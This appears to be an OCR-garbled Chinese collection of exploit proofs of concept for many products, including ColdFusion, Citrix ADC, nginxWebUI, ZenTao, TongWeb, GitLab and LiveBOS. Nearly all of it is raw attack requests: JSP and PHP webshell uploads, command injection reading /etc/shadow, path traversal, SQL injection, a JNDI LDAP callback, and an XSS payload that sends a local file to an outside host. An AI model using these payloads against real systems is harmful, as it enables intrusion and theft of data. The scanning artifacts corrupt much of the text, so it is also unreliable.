45 valid_lft forever preferred_lft forever



46 2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 gdisc fg_codel state UP group
default glen 1000

47 link/ether [redacted] brd ff:ff:ff:ff:ff:ff

48 inet [redacted] brd [redacted] scope global ens33
49 valid_1ft forever preferred_Llft forever

50 ineté [redacted] scope link

51 valid_1ft forever preferred_1ft forever

52 &quot;

5z command: ip a; --dpi '90' --lowquality --margin-bottom 'Q@' --margin-left '0Q'
54 --margin-right 'Q@' --margin-top '0O' --orientation 'Landscape'

55 --javascript-delay '1000' '/tmp/Knp_snappy6426d4231040e1.91046751.html"’

56 ' /tmp/Knp_snappy6426d423104587.46971034.pdf' . </title>

57/

Adobe ColdFusion &%t i&ECVE-2023-29300
® 00

POST /CFIDE/adminapi/base.cfc?method= HTTP/1.1
Host: 1.2.3.4:1234

i User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko) Version/12.0.3 Safari/605.1.15

4 Content-Length: 400

5 Content-Type: application/x-www-form-urlencoded

6 Accept-Encoding: gzip

7 cmd: id

8

9 argumentCollection=
19 <wddxPacket version='1.8'>
1 <header/>

12 <data>

13 <struct type='xcom.sun.rowset.JdbcRowSetImplx'>

14 <var name='dataSourceName'>

15 <string>ldap://xxx.xxx.xxx:1234/Basic/TomcatEcho</string>
16 </var>

17 <var name='autoCommit'>

18 <boolean value='true'/>

19 </var>
20 </struct>

21 </data>

29 </wddxPacket>


af://n489

REZEHRFEERNGF LIERFEPOC

00
1 POST /vehicleServer/carDev/icon/import/1?iconType=1 HTTP/1.1
2 Host: ip:port
3 Accept: * [ %
4 Accept-Encoding: gzip, deflate, br
5 Content-Length: 872
, Content-Type: multipart/form-data; boundary=----63766573e5aegeegaa8cesaeas
7 User-Agent: Mozilla/5.0 (Windows NT 6.2: Winé4: X64) Applewebkit/537.36 (KHTML, like

Gecko) QtwebEngine/5.9.1 Chrome/56.0.2924.122 Safari/537.36
—————— 63766573e5aegeegaa8cesaeas

8
9 Content-Disposition: form-data; name="file"; filename="test.jsp"
10 Content-ype: image/png
17 GIF89a
19 <%isp B%>
13 |~ - 63766573e5ae9ee%9aa8cebaeas
FRENER 12
[ N N
1 GET /vehicleServer/carDev/icon/getIconList?nowTime=164665907220

REHHR LM Krce

N O~ 0 N NN

(o0}

10

11
12
13
14
15

GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&$type=1&suffix=1|echo+"
<%3fphp+eval(\$_POST[\"a\"1);?>"+>+.xxx.php HTTP/1.1

Host: xxx

Cookie: USGSESSID=495b895ddd42b82cd89a291241825081

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10 16 0) Applewebkit/537.36 (KHTML
likeGecko) Chrome/78.0.3994.108 Safari/537.36

Sec-Fetch-User: ?1

Accept:

text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;g=0.8,ap

plication/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


af://n494
af://n499

RSt http://xxx/webui/.xxx.php
anheng.py# B B#xK

python example.py -u http://example.com

# Z0B1R

python example.py -U file_path
--Hytec Inter HWL-2511-SS popen.cgitp £ EN R
[ N N J

1 title="index" && header="lighttpd/1.4.30"

/cgi-bin/popen.cgi?command=ping%20-c%204%201.1.1.1;cat%20/etc/shadow&v=0.1303033443137921

YakitfE = 3 i EN

2z

Al

o

yakit 23T F H34¢8— 1 BurpSuite FE TR, fburpWXFIMEFHRIBEEHRIEFAREBiplH O HilxL, B2
yakitHIEE S RB B R R, AR WburpIB AT, Eiyakit/BHE T — MEEXHIREURTE, WREEZEMITERA)s
RIB LI E A yakitE A& & & L84

fith & hR s :

5|2 R4 < Yaklang 1.2.4-sp2

RER M

FERyakittIMITMAEH BB BERES

Pyload:
o000
1 <script>
) const xhr = new XMLHttpRequest();
3 xhr.open("POST", "http://yakit.com/filesubmit");
4 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
5 xhr.send (" file={{baseé4enc(file(C:\\Windows\\System32\\drivers\\etc\\hosts))}} );
6 </sript>

IR


http://xxx/webui/.xxx.php
https://www.yuque.com/attachments/yuque/0/2023/py/473879/1692243770350-9e3401c1-8bb3-42dd-8628-bda20f66afdc.py
http://example.com/
af://n506
af://n509

#! /bin/python3

1
2 import socket
5
4 ERUTHtBERNE O]
5
6 host = '0.0.0.0'
7 port = 23800
8
o Bli#EsocketfRSS=F
10
11 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
12 server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
13
14 SBEFEITIRO
15
16 server.bind((host, port))
17 server.listen()
18
19 RWEEFFIRIMAER
20
21 print("Listening...")
29 while True:
23 # BEFmEEEK
24 client, address = server.accept()
25 print(f"Connected by {address}")
2 # ENEFimEREE
27 request = "'
28 while True:
29 input_data = client.recv(1024).decode('utf-8"')
30 request += input_data
31 if len(input_data) < 1024:
32 break
33
34 # IREUEKLER
35 headers = request.split('\n')
36 print("Received headers:")
37 for header in headers:
38 print(header)
39
40 # XAZFImERE
41 client.close()
42
EMFAE:

B2 —htmI T E H 1 A payload



BREMITMAIE, RERBHETIHE:
https://mmbiz.gpic.cn/sz_mmbiz_png/OF9leq8TATc71LIcBt5FGONn2ibomGw7wMXX7dh9j86aZ7JA0WMox
wWHSDdJAwNMVSZLoF09zuiamTpkibBtLto8y8KA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
BREMITMAEH B R4 #1718
https://mmbiz.gpic.cn/sz_mmbiz_png/OF91eq8TATc71LIcBt5SFGOn2ibomGw7wM1RvwO5nnYhpX3aKZeC

DdziaCEcOSDfblcu2wNe27x7aTsPgBXo8KTsQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

[RIZ: yakitBRIAFR 2R EZMITMAER R E P Bfuzztag TR, BEREIEHEIWBEN, FRIUXBEF AR
il

--1£#f0day nginxWebUI iZf2Si3H1TiEFpoc
00

1 nginxWebUI < 3.5.2 RENBLSHUTEE (M LAFH3.5.0 ETHERKIAEECHPRCGITEERS. 5. 0fYERNA
8, TH3.5.0MAjarERFFERIAFISENTIRGIIHITIES) nginxllebUI SRAIFFEGSHUTRA(XE
BERFTHRS . 6.0)

1.payload (f<#4T1) :

http://localhost:8080/AdminPage/conf/reload?nginxExe=calc%20%7C

2:payload (ap<#472) :

POST /AdminPage/conf/check HTTP/1.1

Host: 127.0.0.1:8080

Content-Length: 151

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/114.0.0.0 Safari/537.36

19 Content-Type: application/x-www-form-urlencoded;charset=UTF-8

11 Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc

O 00 N O Ol N NN

12 Accept-Encoding: gzip, deflate

13 Accept-Language: zh-CN, zh;q=0.9

14 Cookie: SOLONID=1788f71299dc4608a355ff347hf429fa
15 Connection: close

16
17 NginxExe=calc%20%7C&json=%7B%22nginxContent%22%3A%22TES%22%2C%22subContent%22%3A%5B%22A%

22%5D%2C%22subName%22%3A%5B%22A%22%5D%7D&nginxPath=C%3A%5CUsers

18

19 3.payload:

o [IB—HREREM

91 http://localhost:8080/AdminPage/conf/saveCmd?nginxExe=calc%20%7c&nginxPath=a&nginxDir=a
9o [IBZERTHS

23 http://localhost:8080/AdminPage/conf/checkBase

o4 BN ./ EHEINHLEERE, EERIES

5
o CER: BfafE%R)https://mp.weixin.qq.com/s/oKsR7bm3t1eJIS675Qt0RA


https://mmbiz.qpic.cn/sz_mmbiz_png/OF9Ieq8TATc71LlcBt5FGOn2ibomGw7wMXX7dh9j86aZ7JA0WMoxwHSDdAwnMVSZLoF09zuiamTpkibBtLto8y8KA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
https://mmbiz.qpic.cn/sz_mmbiz_png/OF9Ieq8TATc71LlcBt5FGOn2ibomGw7wM1RvwO5nnYhpX3aKZeCDdziaCEcOSDfbIcu2wNe27x7aTsPgBXo8KTsQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
af://n521

HEEEREEEZFI SEREGTHRITRR:
eoeo

1 imEiEE: EEREEERS(SNS) RIDC/ISPUSEEERRNEAEMIEEE,. HRATERE. FEREeEEF)
BENEELZEEERS, ZmEIRENIERL TEENTIEEDS

BXER:

/user_management/sichuan_login

TR

loginname=sysadmin&ticket=

N Oy O NN

AREEFERXSSERTS XHFLERE: (HEER)

[ N N J
1 POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
9 Host: XXX.XXX.XXX.XXX
3 Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB0590DDT
4, User-Agent: Java/1.8.0_345
5 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
6 Content-Length: 241
7 Connection: close
8
9 --A9-0H6XdEKkeyrNu4acNSk-ppZB0590DDT
10 Content-Disposition: form-data; name="upload"; filename="1.jsp"
11 Content-Type: application/octet-stream
12 Content-Transfer-Encoding: binary
13
14 <%out.println("vultest") ;%>
15 --A9-0H6XdEkeyrNu4cNSk-ppZB0590DDT--
16
17 Eg/é

https://xxx.xxx.xxx.xxx/upload/emap/society_new/ico_res_2b7307e820d2_on.jsp

=
oo


af://n524
af://n527

ZiMoFEEsqliEAN

3 RHugh f1¥E 2 hugh

FImhR s
9.0.140929
[ I N
1 (1)/E-mobile/flowdo_page.php?diff=delete&RUN_ID=1 //Z4JRUN_ID
2 (2)/E-mobile/flowdo_page.php?diff=delete&flowid=1 //&#flowid
3 (3)/E-mobile/flowsorce_page.php?flowid=2
4 (4)/E-mobile/flownext_page.php?diff=candeal&detailid=2
5 (5)/E-mobile/flowimage_page.php?FLOW_ID=2
6 (6) /E-mobile/flowform_page.php?FLOW_ID=2
7 (7)/E-mobile/diaryother_page.php?searchword=23
g (8)/E-mobile/create/ajax_do.php?diff=word&sortid=1 //&#sortid
9 (9)/E-mobile/create/ajax_do.php?diff=word&idstr=2 //&#idstr
10 (10) /E-mobile/flow/freeflowimg.php?RUN_ID=1
11 (11)/E-mobile/create/ajax_do.php?diff=addr&sortid=1 //&#sortid
12 (12) /E-mobile/create/ajax_do.php?diff=addr&userdept=1 //Z#userdept
13 (13) /E-mobile/create/ajax_do.php?diff=addr&userpriv=1 //&%userpriv
14 (14) /E-mobile/create/ajax_do.php?diff=wordsearch&idstr=1 //&%didstr
15 (15) /E-mobile/flow/flowhave_page.php?detailid=2,3
16 (16) /E-mobile/flow/flowtype_free.php?flowid=1
17 (17)/E-mobile/flow/flowtype_free.php?runid=1
18 (18)/E-mobile/flow/flowtype_other.php?flowid=1
19 (19)/E-mobile/flow/flowtype_other.php?runid=1
20 (20) /E-mobile/flow/freeflowimage_page.php?fromid=2
21 (21) /E-mobile/flow/freeflowimage_page.php?diff=new&runid=2 //£&#runid

AEREARHGRE (RERALK) RCE-HhRARH

fid="iaytNA57019/kADk8Nev7g=="

1 clsMode=cls_mode_login&index=index&log_type=report&page=1login&rnd=0.7550103466497915&user
ID=admin%0Aid -a %0A&userPsw=tmbhuisq

poc2


af://n536
javascript:void(0);
af://n541

POST /rep/login HTTP/1.1

Host:

Cookie:

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac Os X 10.15: ry:109.0)Gecko/20100101
Firefox/115.0 Accept:text/html,application/xhtml+xml,application/xml;g=0,9, image/avif,

DN N

image/webp,*/*;q=0.8

Accept-Language:zh-CN, zh;g=0.8, zh-TW;g=0.7, zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip deflate

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

O 00 g o~ O

19 Sec-Fetch-Site: cross-site

11 Pragma: no-cache

1o Cache-Control: no-cachel4

13 | Te: trailers

14 Connection: close

15 Content-Type:application/x-www-form-urlencoded

16 Content-Length: 126

17 clsMode=cls_mode_login%0Awhoami%0A&index=index&log_type=report&loginType=account&page=1o0
gin&rnd=0&userID=admin&userPsw=123

1#3818.0~18.3 backstagefH ¢EN-F &
00

1 posT /zentaopms/www/index.php?m=zahost&f=create HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x64; rv:109.0) Gecko/20100101

’ Firefox/110.0

4 Accept: application/json, text/javascript, */%; g=0.01

5 Accept-Language: zh-CN,zh;g=0.8,zh-Tw;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
6 Accept-Encoding: gzip, deflate

7 Referer: http://127.0.0.1/zentaopms/www/index.php?m=zahost&f=create

8 Content-Type: application/x-www-form-urlencoded; charset=UTF-8

9 X-Requested-with: XMLHttpRequest

10 Content-Length: 134

11 Origin: http://127.0.0.1

12 Connection: close

13 Cookie: zentaosid=dhjpu2i3g5116j5eba85agl27f; lang=zh-cn; device=desktop;
theme=default; tab=ga; windowwidth=1632; windowHeight=783

14 Sec-Fetch-Dest: empty

15 Sec-Fetch-Mode: cors

16 Sec-Fetch-Site: same-origin

17 vsoft=kvm&hostType=physical&name=penson&extranet=127.0.0,1%7Ccalc.exe&cpuCores=2&memory=
16&diskSize=16&desc=&uid=640be59da4851&type=za

F B SuccezBIRi 8 EEXH EF


af://n547
af://n549

POST
: /succezbi/sz/commons/form/file/uploadChunkFile:guid=../tomcat/webapps/RO0T/&chunk=ss.jsp
HTTP/1.1
Host: 10.168.4.99:808
Content-Length: 49564
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8GeAY18LCxR7XnVp
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10 15 7) Applewebkit/537.36 (KHTML,
likeGecko) Chrome/106.9.. Safari/537.36
9 Accept:
10 text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/webp, image/apng,*
/*;0=0.8,application/signed-exchange;v=b3;q=0.9

0 J O O N NN

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN,zh;g=0.9

13 Cookie: JSESSIONID=7351EFC189410384FF702A41106FF4A2
14 Connection: close

15 |~ WebKitFormBoundarv8GeAY18LCXR7XnVPContent-Disposition:
16 form-data; name="file"; filename="ww'

17 Content-Type: image/jpeg

1g Wwebshell

19 | ~=-- WebKitFormBoundarv8GeAY18LCXR7XnVP

20 Content-Disposition: form-data; name="tijiao'

51 confirm

29 |====-- WebKitFormBoundarv8GeAY18LCXR7XnVP--

ARSI ww_ss.jsp

LiveBos Showlmage.do X imgName £#ZEETR
WRIEE:
(3 N

1 Condition: body="LiveBos" || body="/react/browser/loginBackground.png"
2 app="LiveB0S-{EZE"

POC:


af://n556

/feed/ShowImage.do;.js.jsp?

1
type=&imgName=../../../../..[.. /.. /.. /.. /.. [..[../..[..]../etc/passwd
POC2

[ N N
1 relative: req0
2 session: false
3 requests:
4 - method: GET
5 timeout: 10
6 path: /feed/ShowImage.do;.js.jsp?type=&imgName=../../../ ../ ..[..[..[..[..[../
7 headers:
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML
9 like Gecko) Chrome/69.0.1141.87 Safari/537.36

10 follow_redirects: true

1 matches: (code.eq("200") && body.contains("home/livebos")

Smart S85F{F & 3 {§i%£EY

DWW N

O 00 9 O

10
11
12
13
14
15

GET /log/decodmail.php?file=L2V0Y9gc2xIZXAke0|GU30xMGAUCGNhcA== HTTP/1.1

Host: X.X.X.X

Cookie: PHPSESSID=c36d5527d784aa29748b3bh1c50be7bc

User-Agent: Mozilla/5.0(Macintosh; Intel Mac 0S X 10.15; rv:109.0)Gecko/20100101
Firefox/114.0

Accept:
text/html,application/xhtml+ml,application/xml;q=0.9,image/avif, image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;9=0.8,zh-TW;9=0.7,zh-HK;9=0.5,en-US;g=0.3,en;9=0.2
Accept-Encoding: gzip, deflate

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Te: trailers

Connection: close


af://n564

R i@TongWebZ 1 [ B

mAER . RABREFEESITHERE, JRISBEEEE EREABRTERS

mmRE FEXMA LR ZRABHIITE

FlUnhias: A8

AR ¥8Nday, POC RAH, EXFEAREEHT

MALER: WIAEE, FH™E

EEZN:

REBAHT

T #thiik:https://tongtech.com/dft/download.html##; X R E A EGIREF ST ER=RARE
REEH. TERAZFH LIRS ZF. RRAATSE:
https://tongtech.com/dft/newsDetailhtmi?id=102195

g B £5% i 75 5=

1) & XA EERIEH & (RAIA90608 )T IR B LB RS, XAV E80ipithitif o) & Bz

8, NENAEEFEREIRIEHE, 97 /conf/tongwebxm|P X FEIBIEHIE, BstatusMIEIRE AN
stopped, <http-listener name="system-http-listener"port="9060"status="stopped">

2)E B X FIMX(FRIA7200% O) IR B B 5REE, (XAVFEEMipabhEIMX. BERER
JMX72005% O XK ETongweb 51518, TXFAJIMXERD, /conf/tongweb.xmi® T X FHJIMX,

1 enabled &} false<imx-service
port="7200"address="127.0.0.1"protocol="rmi"enabled="false">

#T 5 https://tongtech.com/dft/download.html
T RHR:

TongWebZ £ %4 T €1SR-001.part1
TongWebZ £ %4 T ©1SR-001.part2

TongWeb& £ A4 T B1SR-001.part3


af://n567
https://tongtech.com/dft/download.html##
https://tongtech.com/dft/newsDetailhtml?id=102195
https://tongtech.com/dft/download.html

TongWeb& 2 H 4T E2SR-002
TongWeb687 X LM THINEER &AL T &
TongWeb FfR S 28~ Mz 8 REA RN T &
TongWeb6&7 85 1T EE X IHREFA KA T
TongWeb588 1T _EfE X IHREFA KA T
TongWeb[ FAfR S 88 7= R IEHI B REA LN T &
RRIBEEPOEN:

B EEMAERE, FEETEIRFT

—
’

2. RECHNEEER B, FrAERMAMERE

EXoaX{+ Lf%iFER

00
1 1. BEOLEHESMzipE (aaakkwaf)
5 (REWAFRIABEAS00KIIA/), XREMALET, REHEXREFE)
3 POST /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true
4 HTTP/1.1
5 X-Real-IP:
¢, X-Forwarded-For:
7  Host:
g X-Forwarded-Proto: https
9 X-B3-Traceld: a22c34f91eb9bd9el326b3cc54aa23e?
10 X-B3-SpanlId: a22c34f91eb9bd9el326b3cc54aa23e9
11 Content-Length: 500817
12 Content-Type: multipart/form-data; boundary=sxkxkkkkkkikkikkxx %x1692085217190
13 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone 0S 8_0_2 1like Mac 0S X)
14 AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366
15 Safari/600.1.4
16 Accept-Encoding: gzip, deflate
17 Cache-Control: no-cache
18 Pragma: no-cache
19 Accept: text/htmi, image/gif, image/jpeg,
20
01 2. EOESHESE
99 POST /resource/ui-component/themes/logs.jsp HTTP/1.1
93 X-Real-IP:
24 X-Forwarded-For:
o5 Host:
94  X-Forwarded-Proto: https
27 X-B3-Traceld: 2b5ccdfac376359b2f4ead71feb65db9d

X-B3-SpanId: 2b5ccdfac376359b2f4ead71fe65db9d
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28
30
31
32
33
34
55
36
5Y/4
38
g9
40
41
42
43
44
45

Content-Length: 42500

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé64; rv:109.0) Gecko/20160101
Firefox/116.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Cookie: SESSION=0WM5MjdiYjYtMjIjNy@BOTIKLWIINTKtMTEINDI3ZDhjMTcO;
SERVERID=357e46e5f6aa75f389927a23b666915b|1692085247]1692083970
Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Content-Type: application/x-www-form-urlencoded

3. iAES login.jsp

- KEBEREXESEASERTES deleteFtp EOEEG THITIRAPOC

Citrix ADC&Citrix Gateway T2 X5 17/H 0 (CVE-2023-3519)


af://n603
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POST /saml/login HTTP/1.1

Host: 127.0.0.1

Connection: close

Content-Length: 3150

Content-Type: application/x-www-form-urlencoded

N O O N VNP

SAMLRequest=PHNhbWxwOKF1dGhuUmVxdWVzdCB4bWxuczpzYW1lscDOidXJuOm9hc21z0m5hbWVzONRjOINBTUwWSM
14w0nByb3RvY29sIiB4bWxuczpzYW1sPSI1lcm4abb2FzaXM6bmFtZXM6dGM6UBFNTDoyLjA6YXNZzZXI0aW9uIiBIRD
01cGZANDFKOGVmMMIItZTYXMi04YZUWLTKSNJATMWIXNMYXNTcOMWIZIiBWZXJzaWQuPSIyLjAiIFBYb3ZpZGVyTmF
tZTO01U1AgdGVzdCIgRGVzdGLUYXRpb249ImhOdHA6LY9pZHAUZXhhbXBsZS5jb20vUINPU2VydmljZS5waHAIIFByY
b3RvY29sQmluZGluZz0idXJuOm9hc21z0m5hbWVzOnRFOINBTUw6Mi4wOmIpbmRpbmdzOkhUVFATUE9TVCIgQXNzZ
XJ0aW9uQ29uc3VtzZXITZXJ2aWNT1VVIMPSJodHRwO18vc3AuZXhhbXBsZS5]jb20vZGVthzEvaWl5kZXgucGhwP2Fjcy
I+CiAgPHNhbWw6SXNzdWVyPKESL3NhbWw6SXNzdWVyPgogIDxkczpTaWduYXR1cmUgeGlsbnM6ZHM9ImhOdHALLY9
3d3cudzMub3InLzIwMDAVMDkveG1lsZHNpZyMiPgogICAgPGRz0OINpZ251ZE1uZm8+CiAgICAgIDXxkczpDYW5vbmlj
YWxpemFOaWQuTWVOaG9kIEFsZ29yaXRobTOiaHROcDovL3d3dy53My5vemcvMjAWMS8xMCY4bWwtZXhjLWMXNG4 ]I
i8+CiAgICAgIDxkczpDYW5vbmljYWxpemFOaWouTWVBaG9kIEFsZ29yaXRobTOiaHROcDovL3d3dy53My5vemcvMj
AWMS8XxMC4bWwtZXhjLWMXNG4jIi8+CiAgICAgIDXxkczpDYW5vbmljYWxpemFOaWQuTWVOaGIkIEFsZ29yaXRobTO
iaHROcDovL3d3dy53My5vemcvMjAwMS8xMCo4bWwtZXhjLWMxNG4jIi8+CiAgICAgIDXxkczpDYW5vbmljYWxpemFO
allQuTWVOaG9KIEFsZ29yaXRobTOiaHROcDovL3d3dy53My5vemcvMjAWMS8xMCo4bWwtZXhjLWMxXNG4jIi8+CiAgI
CAgIDxkczpDYW5vbmljYWxpemFOaWuTWVOaG9kIEFsZ29yaXRobT0iaHROcDovL3d3dy53My5vemecvMjAwMS8xMC
94bWwtZXhjLWMXNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemFOaW9uTWVBaGIKIEFsZ29yaXRobT@iaHROcDo
vL3d3dy53My5vemcvMjAwMS8xMC94bWwtZXhjLWMXNG4jIi8+CiAgICAgIDXxkczpDYW5vbmljYWxpemFOaWuTWVe
aG9KIEFsZ29yaXRobT0iaHROcDovL3d3dy53My5vemcvMjAwMS8xMCo4bWwtZXhjLWMxXNG4jIi8+CiAgICAgIDxke
zpDYW5vbm1jYWxpemFBaWQuTWVOaG9KIEFsZ29yaXRobTO@iaHROcDovL3d3dy53My5vemecvMjAWMS8xMCo4bWwtZX
hjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemFOaWuTWVOaG9KIEFsZ29yaXRobT0@iaHROcDovL3d3dy5
3My5vemcvMjAwMS8XxMC94bWwtZXhjLWMXNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemFOaWQuTWVBaGIKIEFs
Z29yaXRobT0iaHROcDovL3d3dy53My5vemcvMjAWMS8xMCo4bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vhb
mljYWxpemFOaWQuTWVOaGIKIEFsZ29yaXRobTOiaHROcDovL3d3dy53My5vemecvMjAWMS8xMC94blwtZXhjLWMXNG
4jI1i8+CiAgICAgIDxkczpTalWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRWOi8vd3d3LnczLm9yZy8yMDAwWLZzA
5L3htbGRzalWcjcnNhLXNoYTEiLz4KICA9ICAgPGRZO1I1ZmVyZW5jZSBVUKK9IiNwZng@MWQ4ZWYYMi1INFEYLTh]
NTAtOTK2MCOXYJFE2ZFEINzQxYjMiPgogICAgICAgIDxkczpUcmFuc2Zveml1zPgogICAgICAgICAgPGRZzO1RYYW5Z2Z
m9ybSBBbGdvcml0aGO9ImhOdHA6LY93d3cudzMub3InLzIwMDAVMDkveG1lsZHNpZyN1bnZlbhG9wZWQtc2lnbmFOdX
J1Ii8+CiAgICAgICA9ICA8ZHM6VHINbNNmb3JtIEFsZ29yaXRobT0@iaHROcDovL3d3dy53My5vemevMjAwMS8xMC9
4bWwtZXhjLWMXNG4jIi8+CiAgICAgICAgPC9kczpUcmFuc2Zveml1zPgogICAgICAgIDXxkczpEaWdlc3RWYWx1ZT5B
PC9kczpEaWldlc3RWYWXx1ZT4KICAgICAgPC9kczpSZWZlemVuY2U+CiAgICA8L2Rz0WNpZ251ZE1uZm8+CiAgICA8Z
HM6U21nbmFOdXJI1LVmFsdWU+QTwvZHM6U21nbmFOdXJI1VmFsdWU+CiAgPC9kczpTalWduYXR1cmU+CiAgPHNhbWxwOk
5hbWVIRFBvVbG1jeSBGh3ItYXQ9InVybjpvYXNpczpuYWllczpBYzpTQUIMOFEUMTpuYW1laWQtZm9ybWFOOmMVtYWL
sQWRkcmVzcyIgQWxsb3dDemVhdGU9InRydWUiLz4KICA8c2FthHA6UMVXxdWVzdGVkQXVBaG5Db250ZXhOIENVbXBh
cmlzb249ImV4AYWNOIj4KICAgGIDXxzYW1sOkF1dGhuQ29udGV4AdENSYXNzUmVmPnVybjpvYXNpczpuYWllczpOYzpTQ
U1MOjIuMDphYzpjbGFzc2Vz01Bhc3N3b3IkUHIvAGVjdGVKVHIhbnNwb3JOPC9zYW1sOkF1dGhuQ29udGV4dENSYX
NzUmVmPgogIDwvc2FtbHA6UMVxdWVzdGVkQXVBaG5Dbh250ZXh0Pgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4=

BEERGIRAE

http://xxxxx:8088/vpn/pluginlist.xml

RITEHER

http://xxxxx:8088/vpn/logout.html

KEMA: citridish.py


http://127.0.0.1:8088/vpn/pluginlist.xml
http://xxxxx:8088/vpn/logout.html
https://www.yuque.com/attachments/yuque/0/2023/py/473879/1692212398531-ed729b31-104e-45af-a7d0-19a2422162ed.py

gitlabF&12i&EH IRIMER X

1 TIREREEM
GET
/groupl/group2/group3/group4/group5/groupé/group7/group8/group9/project9/uploads/4e02c376
ac758e162ec674399741e38d// . .%2F. . %2F . .%2F . .%2F . .%2F . .%2F . .%2F . .%2F . .%2F . .%2F . .%2F . .%2Fetc

%2Fpasswd

EHjceFEERXHF LIZRT
SHOAR—RLE T ALBEBANRZUNRTE, NELHRT BEAODAGROLANRT
LR, BRMEDRTOERS, SHTERXFNLE, TLERDMTRIRSS
RN
X LA NORRBTRE, EXLEXHRBEES,

o000

1 H&FEE: body="jcé/platform"

00

1 POCHEANT:

) /C6/Jhsoft.Web.module/eformaspx/editeprint.aspx?

3 key=writefile&filename=1.ashx&KeyCode=sxfZyQBw8yQ=&designpath=/C6/&typeid=&sPat
4 hfceform=./


af://n617
af://n624

Poc:

; relative: reqd && reql
3 session: false
4 get_variables:
5 - payload: baseé4Decode("SGVshG89V29ybGQgICAgIDg3IfileuploadCAgICAgICAgICAgGICA
6 requests:
7 - method: POST
3 timeout: 35
9 path: /jcé6/0fficeServer
10 headers:
1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, likGecko)
Chrome/87.0.1482.110 Safari/537.36
12 Content-Type: application/x-www-form-urlencoded
13 data: '{{payload}}'
14 follow_redirects: true
15 matches: code.eq("200")
16 - method: GET
17 timeout: 10
18 path: /public/edit/info.jsp
19 headers:
20 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, 1likGecko)
Chrome/87.0.1482.110 Safari/537.36
21 follow_redirects: true
29 matches: (code.eq("200") && body.contains("only test"))

RSIR SGEMRILEIR RS catjs.php 2 XFiEINEH

1 POST /php/catjs.php
["../../../../../]../etc/shadow"]

BEfH SQLFEAN
00

1 /cqztbweb/VisitorWeb/VisitorWeb_XMLHTTPaspx?ParentCode=1"

HEEREWRIZECERRS login XHIREURET
R SRR LERREREMIAVAT AN L REETR L ERH— RS,

TEREWABUERERGAFEXHRENE, XEE TR REERE S
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ZKTeco BioTime{Z{E 215 & &K (CVE-2023-38949)

pocE Tto

Stakater Forecastle fZ{£ ¥ 12iE[H K (CVE-2023-40297)

pocE Tco

HEMIEEFEITR%EFERS downloadTecpDumpFiles {4 ELE

pocE Tco

214 E-Moblle SRS S Mt 5

pocE Tt

CRERFXHERLERRATEGSHITRE
eoo0o0

POST /solr/flow/dataimport?command=full-import&verbose=false&clean=false&commit=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWé4) AppleWebKit/537.36 (KHTML, like
Accept-Encoding: gzip, deflate

Accept: */%

Connection: close

Host:

Content-Length: 78

8

<?xml version="1.0" encoding="UTF-8"?>

<RDF>

<item/>

</RDF>

O 00 N O O N NN P

[ S I =
W N RO

TP-LINKTL-WR940Nd: $#17iKH (CVE-2023-33538)

